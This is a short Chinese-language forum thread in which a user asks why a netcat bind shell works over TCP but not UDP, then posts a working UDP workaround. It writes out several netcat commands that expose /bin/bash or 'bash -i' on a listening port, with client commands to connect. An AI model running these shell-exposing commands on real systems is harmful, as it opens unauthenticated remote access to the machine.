nc用udp为何不能正向弹shell?
正向弹 shell,用 tcp 是成功的,如下:服务器端:nc-lvvp 7777-e/bin/bash
客户端:nc192.168.xxx.xxx7777
用 udp 就不行了,如下:
服务器端:nc-u-lvvp 7777-e/bin/bash
客户端:nc-u192.168.xxx.xxx7777
是 nc 的 bug 吗?
有人遇到过这种情况吗?我是在 Linux 下做的。不知 Windows 下用 udp 能否正向弹 shell。 本帖最后由 不点 于 2019-5-18 13:54 编辑
搞定了,原来是参数顺序不对。如下就可以了:
服务器端:nc -l-p7777-v-v-u-e/bin/bash
客户端:nc-u192.168.xxx.xxx7777
更正:
也不是参数顺序问题,可能是 udp 不可靠带来的问题。用下面的 workaround 就好了:
服务器端:nc -luvvp 7777 -e "cat | bash -i 2>&1"
客户端:nc -u 192.168.xxx.xxx 7777
客户端运行后,要(随便)敲入一行命令(这行命令,服务器不一定能够来得及执行它),服务器端才会显示连接上了。此后就正常了。
实在不清楚为何 cat 能够正常收集 udp 字符串,而 bash 自己却不行——这里好像也有某些隐藏的秘密。
页:
[1]